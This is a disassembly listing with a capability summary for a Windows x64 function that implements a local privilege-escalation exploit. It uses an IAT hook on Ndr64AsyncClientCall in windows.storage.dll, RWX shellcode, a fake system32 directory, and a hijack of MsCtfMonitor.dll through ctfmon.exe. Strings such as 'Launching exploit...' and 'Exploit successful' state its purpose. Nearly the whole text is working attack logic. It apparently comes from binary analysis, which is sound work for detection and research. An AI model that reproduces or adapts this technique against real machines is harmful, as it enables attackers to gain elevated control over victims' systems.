Function at 0x140001300
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Create process on windows
Get common file path

Disassembly:
sub rsp, 0x5c8
mov rax, qword [0x140023340]
xor rax, rsp
mov qword [rsp + 0x5b0], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtCreateSymbolicLinkObject
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025030], rax
lea r9, str.ctfmon_owned
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x78], rax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov r8d, 0x1000
xor edx, edx
mov rcx, qword [rsp + 0x48]
call fcn.140017780
lea rdx, [rsp + 0xb0]
mov ecx, pe_nt_image_headers64
call section..text
lea rdx, [rsp + 0xb0]
lea rcx, str.___Current_pathname:__s_n
call fcn.140001950
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0xb0]
call fcn.140001100
lea rcx, [rsp + 0xb0]
call fcn.140006060
shl rax, 1
mov word [0x140024ff0], ax
movzx eax, word [0x140024ff0]
add eax, 2
mov word [0x140024ff2], ax
lea rax, [rsp + 0x3b0]
mov qword [0x140024ff8], rax
mov edx, pe_nt_image_headers64
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r8d, 2
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x80]
call fcn.140006120
mov eax, 1
imul rax, rax, 2
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0x10
jae 0x14000143e
jmp 0x140001443
call fcn.140001b08
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x80], 0
lea r8, [rsp + 0x80]
lea rdx, str.___s
lea rcx, [rsp + 0x90]
call fcn.1400019b0
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x90]
call fcn.140001100
lea rcx, [rsp + 0x90]
call fcn.140006060
shl rax, 1
mov word [rsp + 0x58], ax
movzx eax, word [rsp + 0x58]
add eax, 2
mov word [rsp + 0x5a], ax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x60], rax
mov eax, 8
imul rax, rax, 0
lea rcx, [0x140025000]
mov qword [rcx + rax], 0x30
mov eax, 8
imul rax, rax, 1
lea rcx, [0x140025000]
mov qword [rcx + rax], 0
mov eax, 8
imul rax, rax, 2
lea rcx, [0x140025000]
lea rdx, [rsp + 0x58]
mov qword [rcx + rax], rdx
mov eax, 8
imul rax, rax, 3
lea rcx, [0x140025000]
mov qword [rcx + rax], 0x40
mov eax, 8
imul rax, rax, 4
lea rcx, [0x140025000]
lea rdx, [rsp + 0x1b0]
mov qword [rcx + rax], rdx
mov eax, 8
imul rax, rax, 5
lea rcx, [0x140025000]
mov qword [rcx + rax], 0
mov r8d, pe_nt_image_headers64
xor edx, edx
lea rcx, [rsp + 0x1b0]
call fcn.140017780
mov qword [rsp + 0x1b0], 0xc0001
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x140023e20]
lea r8, [0x1400230e0]
lea rdx, [0x1400230ec]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.rpcrt4.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.Ndr64AsyncClientCall
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x40]
lea rcx, str.___Ndr64AsyncClientCall:__I64x_n
call fcn.140001950
lea rcx, str.windows.storage.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdx, qword [rsp + 0x40]
mov rcx, rax
call fcn.140001170
mov qword [rsp + 0x38], rax
mov rdx, qword [rsp + 0x38]
lea rcx, str.___Ndr64AsyncClientCall_IAT:__I64x_n
call fcn.140001950
lea r9, [rsp + 0x70]
movabs r8, 0x1111111111111111
mov edx, 0x67
lea rcx, section..data
call fcn.140001220
mov r9, qword [rsp + 0x40]
movabs r8, 0x2222222222222222
mov edx, 0x67
lea rcx, section..data
call fcn.140001220
lea r9, [0x1400012a0]
movabs r8, 0x3333333333333333
mov edx, 0x67
lea rcx, section..data
call fcn.140001220
lea r9, [rsp + 0x70]
movabs r8, 0x4444444444444444
mov edx, 0x67
lea rcx, section..data
call fcn.140001220
mov r8d, 0x67
lea rdx, section..data
mov rcx, qword [rsp + 0x48]
call fcn.1400170e0
lea r9, [rsp + 0x30]
mov r8d, 4
mov edx, 8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x30]
mov edx, 8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.___Launching_exploit..._n
call fcn.140001950
xor edx, edx
lea rcx, str..windows
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp eax, 1
je 0x1400016ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001710
xor edx, edx
lea rcx, str..windows_system32
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x140001721
lea rcx, str.____Error:_the_exploit_doesnt_have_permissions_to_create_a_directory_n
call fcn.140001950
jmp 0x1400017f6
xor r8d, r8d
lea rdx, str..windows_system32MsCtfMonitor.dll
lea rcx, str..MsCtfMonitor.dll
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x14000174d
lea rcx, str.____Error_copying_MsCtfMonitor.dll_to_.windows_system32__the_file_exists___n
call fcn.140001950
jmp 0x1400017f6
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x1400232b4]
lea r8, str.ctfmon.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, str.___Waiting_for_DLL_hijacked_n
call fcn.140001950
mov edx, 0x2710
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x68], eax
mov rcx, qword [0x140024fe8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0x30]
mov r8d, 4
mov edx, 8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov qword [rax], rcx
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x30]
mov edx, 8
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.___Exploit_succesful__n
call fcn.140001950
jmp 0x1400017fa
xor eax, eax
mov rcx, qword [rsp + 0x5b0]
xor rcx, rsp
call fcn.140001d30
add rsp, 0x5c8
ret